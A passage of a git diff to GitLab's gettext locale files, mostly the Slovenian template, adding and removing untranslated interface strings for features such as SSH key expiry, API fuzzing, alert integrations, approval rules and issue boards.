+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34594,6 +35453,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34678,9 +35540,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34717,12 +35576,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34756,7 +35609,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34771,9 +35624,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34957,12 +35807,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -35083,6 +35939,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -35176,7 +36035,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35285,6 +36144,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35589,6 +36451,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35783,6 +36654,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35955,7 +36829,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35992,13 +36866,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -36112,9 +36983,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36265,18 +37133,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36307,9 +37169,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36376,15 +37235,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36672,9 +37522,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36720,6 +37567,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/sl_SI/gitlab.po b/locale/sl_SI/gitlab.po
index 26b427b455a..6e39afe93a8 100644
--- a/locale/sl_SI/gitlab.po
+++ b/locale/sl_SI/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:58\n"
+"PO-Revision-Date: 2021-04-02 00:20\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -140,6 +140,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -255,6 +262,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -510,6 +524,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -522,6 +539,13 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -550,23 +574,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} more"
msgstr ""
@@ -665,7 +675,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1082,6 +1092,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1219,6 +1232,9 @@ msgstr[3] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1313,6 +1329,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1341,6 +1364,20 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1355,6 +1392,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1390,6 +1434,20 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1507,9 +1565,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1519,13 +1574,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1600,9 +1652,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1621,13 +1670,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1639,6 +1700,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1651,16 +1715,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1669,16 +1736,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1711,9 +1778,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1891,6 +1955,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1921,13 +1988,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1973,6 +2033,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -2048,6 +2111,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2075,9 +2141,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -2105,6 +2168,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -2123,6 +2189,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2216,6 +2285,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2243,6 +2315,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2384,9 +2459,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2822,6 +2894,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2871,6 +2949,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3033,6 +3114,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -3048,13 +3135,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -3063,25 +3153,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -3096,24 +3189,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3123,6 +3228,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3132,9 +3240,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3171,7 +3276,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3261,9 +3369,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3327,6 +3432,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3354,6 +3462,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3411,6 +3522,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3534,6 +3648,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3546,9 +3663,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3639,7 +3753,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3777,9 +3891,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3981,6 +4092,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -4012,6 +4126,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -4021,6 +4138,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -4030,9 +4150,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4172,6 +4289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4232,6 +4355,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4274,13 +4403,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4711,6 +4840,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4813,6 +4945,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4831,6 +4966,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4855,7 +4993,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4991,6 +5129,9 @@ msgstr[3] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -5021,6 +5162,13 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5030,9 +5178,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -5051,6 +5196,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -5060,6 +5208,13 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|Board"
msgstr ""
@@ -5072,6 +5227,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -5102,6 +5266,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5408,15 +5575,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5435,6 +5593,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5526,6 +5690,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
